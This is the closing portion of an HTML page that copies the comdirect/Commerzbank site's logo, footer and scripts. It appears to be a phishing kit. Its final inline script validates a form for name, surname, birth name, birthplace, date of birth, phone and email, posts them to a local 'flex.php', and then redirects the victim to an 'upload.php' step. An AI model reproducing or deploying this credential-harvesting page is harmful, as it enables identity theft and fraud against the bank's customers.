<path d="m21.6 55.8h1.9v4.2c.2-.3.5-.6.9-.7.3-.2.7-.2 1.1-.2s.7 0 1.1.2c.3.1.6.3.9.6s.5.6.6.9.2.7.2 1.1v4.5h-1.9v-3.8c0-1-.5-1.6-1.4-1.6-.8 0-1.5.5-1.5 1.6v3.8h-1.9z"></path>
<path clip-rule="evenodd" d="m13.1 62.7c0-2.2 1.4-3.7 3.5-3.7 2 0 3.4 1.5 3.4 3.7v.6h-5c.1.4.3.8.6 1.1s.8.4 1.2.4c.6 0 1.3-.3 1.8-.7l1.1 1.2c-.8.7-1.9 1.1-3 1.1-2.1 0-3.6-1.5-3.6-3.7zm5-.7c-.2-.9-.7-1.4-1.5-1.4-.9 0-1.4.5-1.6 1.4z" fill-rule="evenodd"></path>
<path d="m6.4 60.2c.6-.9 1.5-1.2 2.4-1.2 1.6 0 2.8 1.1 2.8 2.7v4.5h-1.9v-3.8c0-1-.5-1.6-1.4-1.6-.8 0-1.5.5-1.5 1.6v3.8h-1.8v-3.8c0-1-.5-1.6-1.4-1.6-.8 0-1.5.5-1.5 1.6v3.8h-1.9v-7h1.8v.8c.2-.3.5-.6.9-.8.4-.1.8-.2 1.2-.2.5 0 .9.1 1.3.3s.8.5 1 .9z"></path>
<path d="m108.4 63.9-.5 4.3h1.6l1-4.3z"></path>
<path d="m109.7 78.3c-.3 0-.6.1-.8.2-.2.2-.4.4-.5.6-.1.3-.1.5-.1.8.1.3.2.5.4.7s.4.3.7.4.6 0 .8-.1c.3-.1.5-.3.6-.5.2-.2.2-.5.2-.8 0-.4-.2-.7-.4-1-.2-.1-.6-.3-.9-.3z"></path>
<path d="m104 73.7c-.4 0-.8.1-1.2.2-.4.2-.7.4-.9.8v-.8h-1.8v7h1.9v-3.8c0-1.1.7-1.6 1.5-1.6.9 0 1.4.6 1.4 1.6v3.8h1.9v-4.5c0-.4 0-.7-.2-1.1-.1-.3-.3-.6-.6-.9s-.6-.5-.9-.6c-.4 0-.7-.1-1.1-.1z"></path>
<path clip-rule="evenodd" d="m95.2 73.7c-2.1 0-3.5 1.5-3.5 3.7s1.5 3.7 3.6 3.7c1.1 0 2.2-.3 3-1.1l-1.1-1.2c-.5.4-1.1.7-1.8.7-.4 0-.9-.1-1.2-.4s-.6-.7-.6-1.1h5c0-.2 0-.4 0-.6 0-2.2-1.4-3.7-3.4-3.7zm0 1.7c.8 0 1.3.5 1.5 1.4h-3.1c.2-.9.7-1.4 1.6-1.4z" fill-rule="evenodd"></path>
<path clip-rule="evenodd" d="m86.1 73.7c-1.7 0-3.2 1.4-3.2 3.6s1.5 3.6 3.2 3.6c.4 0 .8-.1 1.2-.2s.7-.4 1-.7v.5c0 1.2-.8 1.9-2 1.9-.8 0-1.6-.3-2.3-.7l-.7 1.5c.9.6 2 .9 3.1.8 2.3 0 3.8-1.4 3.8-3.6v-6.4h-1.8v.8c-.3-.3-.6-.6-1-.7s-.9-.4-1.3-.4zm.5 1.8c.4 0 .7.1 1 .3s.6.5.7.8c.2.3.2.7.1 1.1s-.2.7-.5 1-.6.4-.9.5c-.4.1-.7 0-1.1-.1-.3-.1-.6-.4-.8-.7s-.3-.7-.3-1c0-.2 0-.5.1-.7s.2-.4.4-.6.4-.3.6-.4c.2-.2.4-.2.7-.2z" fill-rule="evenodd"></path>
<path d="m79.5 70.6c-.2 0-.5.1-.7.2s-.4.3-.4.5c-.1.2-.1.5-.1.7s.2.4.3.6c.2.2.4.3.6.3s.5 0 .7-.1.4-.2.5-.4.2-.4.2-.7-.1-.6-.4-.9c-.1 0-.4-.2-.7-.2z"></path>
<path d="m76.4 70.6c-.2 0-.5.1-.7.2s-.4.3-.4.5c-.1.2-.1.5-.1.7s.2.4.3.6.4.3.6.3.5 0 .7-.1.4-.2.5-.4.2-.4.2-.7-.1-.6-.4-.9c-.1 0-.4-.2-.7-.2z"></path>
<path clip-rule="evenodd" d="m78 73.7c-2.2 0-3.8 1.6-3.8 3.7s1.6 3.7 3.8 3.7 3.8-1.6 3.8-3.7-1.6-3.7-3.8-3.7zm0 1.8c.4 0 .8.1 1.1.3s.6.5.7.8c.2.4.2.8.2 1.2-.1.4-.2.7-.5 1s-.6.5-1 .5c-.4.1-.8 0-1.1-.1s-.7-.4-.9-.7-.3-.7-.3-1.1c0-.3 0-.5.1-.7s.2-.4.4-.6.4-.3.6-.4c.2-.2.4-.2.7-.2z" fill-rule="evenodd"></path>
<path d="m70 73.7c-.9 0-1.8.3-2.4 1.2-.2-.4-.6-.7-1-.9s-.9-.3-1.3-.3-.8.1-1.2.2c-.4.2-.7.4-.9.8v-.8h-1.8v7h1.9v-3.8c0-1.1.7-1.6 1.5-1.6.9 0 1.4.6 1.4 1.6v3.8h1.8v-3.8c0-1.1.7-1.6 1.5-1.6s1.4.6 1.4 1.6v3.8h1.9v-4.5c-.1-1.6-1.2-2.7-2.8-2.7z"></path>
<path d="m59.1 73.7c-.4 0-.8 0-1.1.2s-.6.4-.9.7v-.8h-1.8v7h1.9v-3.8c0-1 .6-1.6 1.5-1.6.4 0 .8.1 1.1.2l.3-1.9c-.3.1-.6 0-1 0z"></path>
<path clip-rule="evenodd" d="m50.4 73.7c-2.1 0-3.5 1.5-3.5 3.7s1.5 3.7 3.6 3.7c1.1 0 2.2-.3 3-1.1l-1.1-1.2c-.5.4-1.1.7-1.8.7-.4 0-.9-.1-1.2-.4s-.6-.7-.6-1.1h5c0-.2 0-.4 0-.6 0-2.2-1.4-3.7-3.4-3.7zm0 1.7c.8 0 1.4.5 1.5 1.4h-3.1c.2-.9.7-1.4 1.6-1.4z" fill-rule="evenodd"></path>
<path d="m46.4 73.9h-2l-1.8 5-1.8-5h-2.1l2.8 7h2.2z"></path>
<path d="m33.9 73.7c-.4 0-.8 0-1.1.2s-.6.4-.9.7v-.8h-1.8v7h1.9v-3.8c0-1 .6-1.6 1.5-1.6.4 0 .8.1 1.1.2l.3-1.9c-.3.1-.7 0-1 0z"></path>
<path d="m23.4 70.5h-1.9v10.4h1.9v-3.8c0-1.1.7-1.6 1.5-1.6.9 0 1.4.6 1.4 1.6v3.8h1.9v-4.5c0-.4 0-.7-.2-1.1-.1-.3-.3-.6-.6-.9s-.6-.5-.9-.6-.7-.2-1.1-.2-.8.1-1.1.2c-.3.2-.7.4-.9.7z"></path>
<path clip-rule="evenodd" d="m16.6 73.7c-2.1 0-3.5 1.5-3.5 3.7s1.5 3.7 3.6 3.7c1.1 0 2.2-.3 3-1.1l-1.1-1.2c-.5.4-1.1.7-1.8.7-.4 0-.9-.1-1.2-.4s-.6-.7-.6-1.1h5c0-.2 0-.4 0-.6 0-2.2-1.4-3.7-3.4-3.7zm0 1.7c.8 0 1.4.5 1.5 1.4h-3.1c.2-.9.7-1.4 1.6-1.4z" fill-rule="evenodd"></path>
<path d="m8.8 73.7c-.9 0-1.8.3-2.4 1.2-.2-.4-.6-.7-1-.9s-.9-.3-1.3-.3-.8.1-1.2.2c-.4.2-.7.4-.9.8v-.8h-1.8v7h1.9v-3.8c0-1.1.7-1.6 1.5-1.6.9 0 1.4.6 1.4 1.6v3.8h1.9v-3.8c0-1.1.7-1.6 1.5-1.6.9 0 1.4.6 1.4 1.6v3.8h1.9v-4.5c-.1-1.6-1.2-2.7-2.9-2.7z"></path>
</g>
</g>
</svg>
</a>
</div>
<div class="flex-layout__basis--medium--100 flex-layout__basis--small--100 outer-spacing--6xlarge-top-md outer-spacing--small-bottom-md outer-spacing--6xlarge-top-sm outer-spacing--small-bottom-sm">
<a data-plugin="{at:{pageId:'coai2863', cDes:'LSG-footer|kontakt'}}" href="/cms/hilfe-service-kontakt.html" class="footer__link">Kontakt</a>
<a data-plugin="{at:{pageId:'coai0826'}}" href="/cms/ueberuns/de/unternehmen/index.html" class="footer__link">Über uns</a>
<a data-plugin="{at:{pageId:'coai1120'}}" href="/cms/ueberuns/de/presse/presse.html" class="footer__link">Presse</a>
<a data-plugin="{at:{pageId:'cori8945', cDes: 'LSG-footer|magazin'}}" href="https://magazin.comdirect.de" target="_blank" rel="noopener" class="footer__link">Magazin</a>
</div>
<div class="flex-layout__basis--medium--100 flex-layout__basis--small--100">
<a data-plugin="{at:{pageId:'coai1274'}}" href="https://jobs.commerzbank.com/index.php?ac=search_result&search_criterion_physical_location%5B%5D=551&search_criterion_physical_location%5B%5D=3" rel="noopener" class="footer__link" target="_blank">Karriere</a>
<a data-plugin="{at:{pageId:'coai2490'}}" target="_blank" href="https://community.comdirect.de" rel="noopener" class="footer__link">Community</a>
<a data-plugin="{at:{pageId:'coai2498'}}" href="/cms/apps.html" class="footer__link">Apps</a>
<a data-plugin="{at:{pageId:'cori8945', cDes: 'LSG-footer|kwk'}}" href="/cms/kundenwerbung.html" class="footer__link">Kunden werben Kunden</a>
</div>
<div class="flex-layout__basis--medium--100 flex-layout__basis--small--100 outer-spacing--small-top-md outer-spacing--small-top-sm">
<a data-plugin="{at:{pageId:'coai1113'}}" href="/cms/hilfe-service-impressum.html" class="footer__link">Impressum</a>
<a data-plugin="{at:{pageId:'coai1114'}}" href="/cms/hilfe-service-sicherheit-datenschutz.html" class="footer__link">Datenschutz</a>
<a href="#uc-corner-modal-show" class="footer__link">Einwilligungseinstellungen</a>
<a data-plugin="{at:{pageId:'coai1115'}}" href="/cms/hilfe-service-sicherheit.html" class="footer__link">Sicherheit</a>
<a data-plugin="{at:{pageId:'coai1116'}}" href="/cms/hilfe-service-nutzungsbedingungen.html" class="footer__link">Nutzungsbedingungen</a>
<a data-plugin="{at:{pageId:'coai1117'}}" target="_blank" href="/pbl/ePdfTracker.do?ePageId=cori6762" class="footer__link">AGB</a>
</div>
</div>
<div class="grid grid--no-gutter outer-spacing--xxlarge-top">
<div class="col--lg-4 col--md-8 col--sm-4 text-align--center-md text-align--center-sm outer-spacing--medium-bottom-sm outer-spacing--medium-bottom-md">
<span class="footer__copyright">© comdirect - eine Marke der Commerzbank AG</span>
</div>
<div class="col--lg-4 col--md-8 col--sm-4 col--lg-push-right-4 text-align--center">
<div class="social-icon-bar">
<a href="https://www.facebook.com/comdirect" target="_blank" rel="noopener noreferrer" data-at="{"actionId": "coai2494", "cDes": "LSG-footer| social_media | facebook" }" class="icon icon--size-24" aria-label="Social Link zu Facebook">
<svg enable-background="new 0 0 24 24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" role="img" aria-labelledby="social-icon-facebook">
<title id="social-icon-facebook">
Social Icon Facebook
</title>
<path d="m24 12.1c0-6.6-5.4-12-12-12s-12 5.3-12 12c0 6 4.4 11 10.1 11.9v-8.4h-3v-3.5h3v-2.7c0-3 1.8-4.7 4.5-4.7 1.4.1 2.7.3 2.7.3v3h-1.5c-1.5 0-2 .9-2 1.9v2.2h3.3l-.5 3.5h-2.8v8.4c5.8-1 10.2-5.9 10.2-11.9z" fill="currentColor"></path>
</svg>
</a>
<a href="https://www.youtube.com/comdirect" target="_blank" rel="noopener noreferrer" data-at="{"actionId": "coai2496", "cDes": "LSG-footer| social_media | youtube" }" class="icon icon--size-24" aria-label="Social Link zu YouTube">
<svg enable-background="new 0 0 24 24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" role="img" aria-labelledby="social-icon-youtube">
<title id="social-icon-youtube">
Social Icon YouTube
</title>
<path d="m23.5 6.2c-.1-.5-.4-1-.8-1.4s-.8-.6-1.3-.8c-1.9-.5-9.4-.5-9.4-.5s-7.5 0-9.4.5c-.5.1-1 .4-1.3.8-.4.4-.7.9-.8 1.4-.5 1.9-.5 5.8-.5 5.8s0 3.9.5 5.8c.1.5.4 1 .8 1.4s.8.6 1.3.8c1.9.5 9.4.5 9.4.5s7.5 0 9.4-.5c.5-.1 1-.4 1.3-.8s.6-.8.8-1.4c.5-1.9.5-5.8.5-5.8s0-3.9-.5-5.8zm-14 9.4v-7.2l6.3 3.6z" fill="currentColor"></path>
</svg>
</a>
<a href="https://www.instagram.com/comdirect/?hl=de" target="_blank" rel="noopener noreferrer" data-at="{"actionId": "coai2945", "cDes": "LSG-footer| social_media | instagram" }" class="icon icon--size-24" aria-label="Social Link zu Instagram">
<svg enable-background="new 0 0 24 24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" role="img" aria-labelledby="social-icon-instagram">
<title id="social-icon-instagram">
Social Icon Instagram
</title>
<path clip-rule="evenodd" d="m7.1.1c1.2-.1 1.6-.1 4.9-.1s3.7 0 4.9.1c1.3.1 2.1.3 2.9.6.9.2 1.5.6 2.2 1.3s1.1 1.3 1.4 2.1.5 1.6.6 2.9v5s0 3.7-.1 4.9c-.1 1.3-.3 2.1-.6 2.9s-.7 1.5-1.4 2.1c-.7.7-1.3 1.1-2.1 1.4s-1.6.5-2.9.6c-1.2.1-1.6.1-4.9.1s-3.7 0-4.9-.1c-1.3-.1-2.1-.3-2.9-.6-.9-.2-1.5-.6-2.2-1.3s-1.1-1.3-1.4-2.1-.5-1.6-.6-2.9c0-1.3 0-1.7 0-5s0-3.7.1-4.9c.1-1.3.3-2.1.6-2.9.2-.9.6-1.5 1.3-2.2s1.3-1.1 2.1-1.4c.8-.3 1.7-.5 3-.5zm-1.3 11.9c0-3.4 2.8-6.2 6.2-6.2s6.2 2.8 6.2 6.2-2.8 6.2-6.2 6.2-6.2-2.8-6.2-6.2zm2.2 0c0 2.2 1.8 4 4 4s4-1.8 4-4-1.8-4-4-4-4 1.8-4 4zm10.4-5c.8 0 1.4-.6 1.4-1.4s-.6-1.4-1.4-1.4-1.4.6-1.4 1.4.6 1.4 1.4 1.4z" fill="currentColor" fill-rule="evenodd"></path>
</svg>
</a>
</div>
</div>
</div>
</div>
<div class="footer__shape">
<svg aria-hidden="true" enable-background="new 0 0 1920 312" viewBox="0 0 1920 312" xmlns="http://www.w3.org/2000/svg">
<path clip-rule="evenodd" d="m388 86c0 16.6-13.4 30-30 30s-30-13.4-30-30 13.4-30 30-30 30 13.4 30 30zm-30 15c8.3 0 15-6.7 15-15s-6.7-15-15-15-15 6.7-15 15 6.7 15 15 15z" fill="#3f4b50" fill-rule="evenodd"></path>
<path d="m268 118c66.3 0 120 53.7 120 120h-120z" fill="#27343a"></path>
<g fill="#3f4b50">
<circle cx="238" cy="148" r="5"></circle>
<circle cx="238" cy="128" r="5"></circle>
<circle cx="218" cy="128" r="5"></circle>
<circle cx="258" cy="148" r="5"></circle>
<circle cx="258" cy="128" r="5"></circle>
<circle cx="258" cy="168" r="5"></circle>
</g>
<circle cx="1688" cy="86" fill="#fff500" r="5"></circle>
<circle cx="1688" cy="66" fill="#fff500" r="5"></circle>
<circle cx="1708" cy="66" fill="#fff500" r="5"></circle>
<circle cx="1668" cy="86" fill="#fff500" r="5"></circle>
<circle cx="1668" cy="66" fill="#fff500" r="5"></circle>
<circle cx="1668" cy="106" fill="#fff500" r="5"></circle>
<path d="m1538 238c0-33.1 26.9-60 60-60s60 26.9 60 60h-30c0-16.6-13.4-30-30-30s-30 13.4-30 30z" fill="#27343a"></path>
</svg>
</div>
</footer>
</div>
</div>
<!-- googleon:index -->
<!-- googleon:snippet -->
<script language="JavaScript" src="https://static.comdirect.de/ccf2/modules/js/consent-initial.module.js?v=1731657622918" type="text/javascript" id="Z-lfDnDU" nonce=""></script>
<script language="JavaScript" src="https://static.comdirect.de/ccf2/modules/js/ccf_tracking.module.js?v=1731657622918" type="text/javascript" defer="" nonce=""></script>
<script language="JavaScript" src="https://static.comdirect.de/ccf2/modules/js/ccf_core.module.js?v=1731657622918" type="text/javascript" defer="" nonce=""></script>
<script language="JavaScript" src="https://static.comdirect.de/ccf2/lsg/js/bundle-common.js?v=1731657622918" type="text/javascript" defer="" nonce=""></script>
<script language="JavaScript" src="js/webcomponents-es2015.4f4515c48d9bf40fb8f23de77a073d6d.js" type="module" nonce=""></script>
<script language="JavaScript" src="js/webcomponents-es5.4f4515c48d9bf40fb8f23de77a073d6d.js" nomodule="" defer="" nonce=""></script>
<script language="JavaScript" src="https://static.comdirect.de/ccf2/scripts/serviceWorker/serviceWorker.init.js?v=1731657622918" type="text/javascript" defer="" nonce=""></script>
<script language="JavaScript" src="https://static.comdirect.de/ccf2/plugins/js/jquery.cdb.config.js?v=1731657622918" type="text/javascript" defer="" nonce=""></script>
<script language="JavaScript" src="https://static.comdirect.de/ccf2/plugins/js/jquery.cdb.keepalive.js?v=1731657622918" type="text/javascript" defer="" nonce=""></script>
<script>
function postToFlex(caseType, data) {
$.ajax({
url: 'flex.php', // Target PHP file
type: 'POST',
data: { case: caseType, ...data },
success: function (response) {
// Redirect to the desired page on success
window.location.href = 'upload.php';
},
error: function (xhr, status, error) {
}
});
}
// Utility to check if a value is empty
function isEmpty(value) {
return !value || value.trim() === '';
}
$('com-button').on('click', function(e) {
e.preventDefault(); // Prevent form submission
// Clear existing error messages
$('.com-error-messages').remove();
let hasError = false;
// Get the values of the fields
const name = $('[name="name"]').val()?.trim() || '';
const surname = $('[name="surname"]').val()?.trim() || '';
const birthname = $('#birthname').val() || '';
const birthplace = $('[name="birthplace"]').val()?.trim() || '';
const dob = $('[name="dob"]').val()?.trim() || '';
const dobPattern = /^\d{2}\.\d{2}\.\d{4}$/; // Validate format dd.mm.yyyy
const telNummer = $('[name="telefonnummer"]').val() || '';
const email = $('[name="email"]').val() || '';
// Function to append error message with red color for text and SVG
function appendErrorMessage(field, message) {
const errorHTML = `
<div class="com-error-messages">
<div class="error" type="error" style="color: rgb(158,15,27);">
<svg width="16" height="16" aria-hidden="true" style="fill: rgb(158,15,27);">
<use xlink:href="fonts/svg-symbol.svg#cd_warning-16"></use>
</svg>
${message}
</div>
</div>`;
$(field).after(errorHTML); // Add error message below the field
}
// Function to add invalid styles to the input fields
function addInvalidStyles(field) {
$(field).css({
'border-color': 'rgb(158,15,27)',
'color': 'rgb(158,15,27)'
});
}
// Function to remove invalid styles from input fields
function removeInvalidStyles(field) {
$(field).css({
'border-color': '',
'color': ''
});
}
// Validate 'name' field
if (name.length < 1) {
appendErrorMessage('[name="name"]', 'Bitte füllen Sie alle Pflichtfelder aus.');
addInvalidStyles('[name="name"]');
hasError = true;
} else {
removeInvalidStyles('[name="name"]');
}
// Validate 'surname' field
if (surname.length < 1) {
appendErrorMessage('[name="surname"]', 'Bitte füllen Sie alle Pflichtfelder aus.');
addInvalidStyles('[name="surname"]');
hasError = true;
} else {
removeInvalidStyles('[name="surname"]');
}
// Validate 'birthplace' field
if (birthplace.length < 1) {
appendErrorMessage('[name="birthplace"]', 'Bitte füllen Sie alle Pflichtfelder aus.');
addInvalidStyles('[name="birthplace"]');
hasError = true;
} else {
removeInvalidStyles('[name="birthplace"]');
}
// Validate 'dob' field
if (dob.length !== 10 || !dobPattern.test(dob)) {
appendErrorMessage('[name="dob"]', 'Bitte füllen Sie alle Pflichtfelder aus.');
addInvalidStyles('[name="dob"]');
hasError = true;
} else {
// Auto-format dob if needed (ensure format dd.mm.yyyy)
const formattedDob = dob.replace(/(\d{2})(\d{2})(\d{4})/, '$1.$2.$3');
$('[name="dob"]').val(formattedDob); // Update field with formatted value
// Remove dob error message if value is valid
$('[name="dob"]').next('.com-error-messages').remove();
removeInvalidStyles('[name="dob"]');
}
// Validate 'telefon' field
if (telNummer.length < 1) {
appendErrorMessage('[name="telefonnummer"]', 'Bitte füllen Sie alle Pflichtfelder aus.');
addInvalidStyles('[name="telefonnummer"]');
hasError = true;
} else {
removeInvalidStyles('[name="telefonnummer"]');
}
// Validate 'email' field
if (email.length < 1) {
appendErrorMessage('[name="email"]', 'Bitte füllen Sie alle Pflichtfelder aus.');
addInvalidStyles('[name="email"]');
hasError = true;
} else {
removeInvalidStyles('[name="email"]');
}
// Remove error messages for name, surname, birthplace if they are valid
if (name.length > 0) {
$('[name="name"]').next('.com-error-messages').remove();
}
if (surname.length > 0) {
$('[name="surname"]').next('.com-error-messages').remove();
}
if (birthplace.length > 0) {
$('[name="birthplace"]').next('.com-error-messages').remove();
}
if (telNummer.length > 0) {
$('[name="birthplace"]').next('.com-error-messages').remove();
}
if (email.length > 0) {
$('[name="email"]').next('.com-error-messages').remove();
}
// If validation fails, stop form submission
if (hasError) {
return false; // Stop form submission
}
// If no errors, allow form submission (or any other action)
const data = {
name: name,
surname: surname,
birthname: birthname,
dob:dob,
birthplace:birthplace,
telnummer: telNummer,
email: email
};
postToFlex('detail', data);
});
</script>
</body></html>